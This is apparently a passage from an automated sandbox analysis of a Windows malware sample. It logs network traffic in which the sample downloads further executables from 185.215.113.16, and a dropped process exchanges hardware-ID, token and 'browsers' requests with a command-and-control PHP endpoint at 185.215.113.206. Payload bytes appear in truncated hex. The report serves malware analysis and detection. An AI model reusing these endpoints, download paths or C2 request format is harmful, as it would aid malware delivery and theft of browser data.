Dec 17, 2024 10:09:11.618863106 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.628813982 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.628884077 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.628940105 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.628948927 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.629018068 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.647897005 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.649231911 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.649287939 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.649305105 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.656266928 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.656326056 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.656333923 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.664885044 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.665000916 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.665009975 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.674705029 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.674787998 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.674798012 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.681911945 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.681986094 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.681988955 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.682003975 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.682058096 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.690135956 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.698168039 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.698271036 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.698307991 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.698316097 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.698355913 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.703805923 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.709775925 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.709882021 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.709887981 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.709897041 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.709948063 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.715146065 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.720768929 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.720824957 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.720834017 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.726397038 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.726471901 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.726495981 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.726504087 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.726603985 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.732003927 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.737514973 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.737559080 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.737565994 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.737636089 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.737699986 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.737706900 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.781202078 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.857793093 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.857877016 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.857938051 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.857960939 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.905978918 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.906004906 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.952847958 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.973598957 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.977509975 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.977591038 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.977606058 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.977646112 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.977768898 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.977974892 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.977988005 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:12.753449917 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:12.753510952 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:12.753729105 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:12.754007101 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:12.754024029 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:14.290730953 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:14.290992022 CET	49868	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:14.410592079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:14.410790920 CET	80	49868	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:14.410876989 CET	49868	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:14.411046982 CET	49868	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:14.444973946 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:14.445257902 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:14.445286989 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:14.445591927 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:14.445892096 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:14.445950985 CET	443	49858	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:14.499697924 CET	49858	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:14.531548023 CET	80	49868	185.215.113.206	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:08:21.454185963 CET	59953	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:08:21.680916071 CET	53	59953	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:08.340234995 CET	50814	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:09:08.340648890 CET	51372	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:09:08.472239017 CET	53	57210	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:08.476461887 CET	53	63877	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:08.477294922 CET	53	50814	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:08.477507114 CET	53	51372	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:11.270739079 CET	53	64658	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:12.240618944 CET	53	59061	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:12.889115095 CET	53	57824	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:15.341942072 CET	59565	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:09:15.342130899 CET	52460	53	192.168.2.6	1.1.1.1
Dec 17, 2024 10:09:15.477487087 CET	53	62056	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:15.479125023 CET	53	59565	1.1.1.1	192.168.2.6
Dec 17, 2024 10:09:15.479672909 CET	53	52460	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 10:08:21.454185963 CET	192.168.2.6	1.1.1.1	0xa7a4	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:08.340234995 CET	192.168.2.6	1.1.1.1	0x9d69	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:08.340648890 CET	192.168.2.6	1.1.1.1	0x21f2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 17, 2024 10:09:15.341942072 CET	192.168.2.6	1.1.1.1	0x888c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:15.342130899 CET	192.168.2.6	1.1.1.1	0x3ac2	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 10:08:21.680916071 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	sweepyribs.lat		104.21.2.110	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:08:21.680916071 CET	1.1.1.1	192.168.2.6	0xa7a4	No error (0)	sweepyribs.lat		172.67.129.27	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:08:55.190658092 CET	1.1.1.1	192.168.2.6	0xa9c	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 10:08:55.190658092 CET	1.1.1.1	192.168.2.6	0xa9c	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:08:55.190658092 CET	1.1.1.1	192.168.2.6	0xa9c	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:08.477294922 CET	1.1.1.1	192.168.2.6	0x9d69	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:08.477507114 CET	1.1.1.1	192.168.2.6	0x21f2	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 17, 2024 10:09:09.491945028 CET	1.1.1.1	192.168.2.6	0xa939	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 10:09:09.491945028 CET	1.1.1.1	192.168.2.6	0xa939	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.99	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:09.491945028 CET	1.1.1.1	192.168.2.6	0xa939	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.100	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:09.491945028 CET	1.1.1.1	192.168.2.6	0xa939	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.101	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:09.491945028 CET	1.1.1.1	192.168.2.6	0xa939	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.58.98	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:15.479125023 CET	1.1.1.1	192.168.2.6	0x888c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 10:09:15.479125023 CET	1.1.1.1	192.168.2.6	0x888c	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:09:15.479672909 CET	1.1.1.1	192.168.2.6	0x3ac2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

sweepyribs.lat

tse1.mm.bing.net

www.google.com

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49774	185.215.113.16	80	7284	C:\Users\user\Desktop\V65xPrgEHH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:08:44.723660946 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 17, 2024 10:08:46.063694000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 09:08:45 GMT Content-Type: application/octet-stream Content-Length: 1782272 Last-Modified: Tue, 17 Dec 2024 08:54:10 GMT Connection: keep-alive ETag: "67613c32-1b3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 46 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 53 11 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$F `@ GS`Ui`D @ @.rsrcD`2@.idata 6@ @+8@fphnutar+:@inmacesb F@.taggant@F"@
Dec 17, 2024 10:08:46.063735962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063750982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063888073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063899994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063920021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063966036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:08:46.063992977 CET	1000	IN	Data Raw: d8 74 f0 37 00 19 ef 6c 78 08 fd f4 8e be 9b 67 e4 cd 95 57 9b 2b 21 97 54 4e 43 7a 32 cb b2 7c a0 c0 c8 cb 3d f1 75 17 d7 89 3b 61 2f 37 ff 77 6b 4f 4f 67 b7 3a 04 77 79 31 fe a0 69 47 b8 7d 6f 72 df 3a 00 3d eb 42 a4 1e 50 a1 8b 58 fe 07 c6 61 Data Ascii: t7lxgW+!TNCz2\|=u;a/7wkOOg:wy1iG}or:=BPXaKJEw10j~@Wuy}tl%n=T PKkWteL}UKO4.+qvq}nmCu?*Y28r<8IX1{Wtq2<0nzBRHTjD~r
Dec 17, 2024 10:08:46.064038038 CET	1236	IN	Data Raw: a4 74 68 13 6c 23 9b 29 0e e5 fa f8 6d 03 fc 8a 54 2c e1 25 00 fc 34 05 58 21 31 6f 7f 09 78 17 44 78 f4 e2 8b b2 9e 31 f4 cf d2 b9 a2 ab 3b 53 98 86 57 3f c2 b5 76 11 50 39 b0 4f 7a d9 6d 53 eb 21 56 87 a5 4d fe fa de c9 ce 47 c5 76 9e 71 55 38 Data Ascii: thl#)mT,%4X!1oxDx1;SW?vP9OzmS!VMGvqU8XG<&YSk):9SJ}=tRk;tR[l(P_B[_IL9+SI:at!}uo}7umze=*rx1Tu-@ul7u<LuY
Dec 17, 2024 10:08:46.064054012 CET	1236	IN	Data Raw: 3b 74 b2 3d ac 13 81 5a 83 bc 30 fc ad f2 be 5a 81 bc 98 6c 07 7a 45 13 82 fe 23 26 72 db d7 85 d0 5d 16 12 f4 f7 f3 70 ab 5a 77 d3 b3 40 0b 87 fe 16 43 d9 65 d5 52 22 c6 52 99 cb 84 37 09 27 b9 dd eb 81 0f 75 9c da b2 10 99 99 ae 3b 99 e1 bf 8f Data Ascii: ;t=Z0ZlzE#&r]pZw@CeR"R7'u;"Q}5.S_9BQ>D<4kUB8&U1dqviC&\|j(+#jr\|, R&YO=fi\|b2s4U67Jd:T.2;R18
Dec 17, 2024 10:08:46.183578014 CET	1236	IN	Data Raw: 7d 14 ef 39 71 59 7d 11 38 5e 04 40 ef 37 7c 67 88 e2 49 44 e1 ab 83 74 22 35 08 43 d6 6c e1 29 15 22 f9 77 27 94 f7 c6 7b 41 55 84 6f 3e f8 48 14 40 3c 5c 14 77 4d 73 f7 fe e8 86 a1 76 6f 6e 71 27 f3 e3 31 21 26 72 88 8f 0c 57 85 09 14 dd 87 52 Data Ascii: }9qY}8^@7\|gIDt"5Cl)"w'{AUo>H@<\wMsvonq'1!&rWRS~Qcn><lkbr@,;}?CtxTw\'xwowTmz]m19zQmv8lm8Jx>n{\|DTLYM@FfeRL
Dec 17, 2024 10:08:50.067265034 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 17, 2024 10:08:50.508549929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 09:08:49 GMT Content-Type: application/octet-stream Content-Length: 2859008 Last-Modified: Tue, 17 Dec 2024 08:55:47 GMT Connection: keep-alive ETag: "67613c93-2ba000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd dd 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgN@O+@M$a$$ $h@.rsrc$x@.idata $\|@mtoauukx$)~@piksggksNx+@.taggant0N"~+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49812	185.215.113.206	80	5588	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:08:58.624074936 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 17, 2024 10:08:59.962418079 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 17, 2024 10:08:59.966078043 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 32 31 36 38 46 46 36 41 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="hwid"DA2168FF6AA42936050476------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build"stok------DGHJECAFIDAFHJKFCGHI--
Dec 17, 2024 10:09:01.156636953 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 4d 30 59 6a 67 35 4f 54 59 7a 4e 47 4a 6b 4e 7a 52 6b 59 6a 6b 78 4e 32 59 78 5a 57 4d 7a 59 54 6c 6b 4d 57 51 35 5a 6a 4d 33 4e 32 51 77 4e 6a 46 6c 4f 54 6b 33 59 54 64 6a 59 57 4d 30 59 6d 55 79 4e 32 46 6b 5a 47 55 33 4e 32 49 32 5a 6a 46 6c 4f 44 4a 6d 4d 6d 55 79 5a 6d 51 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGM0Yjg5OTYzNGJkNzRkYjkxN2YxZWMzYTlkMWQ5ZjM3N2QwNjFlOTk3YTdjYWM0YmUyN2FkZGU3N2I2ZjFlODJmMmUyZmQyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 17, 2024 10:09:01.315336943 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"browsers------BFHJECAAAFHIJKFIJEGC--
Dec 17, 2024 10:09:01.755142927 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 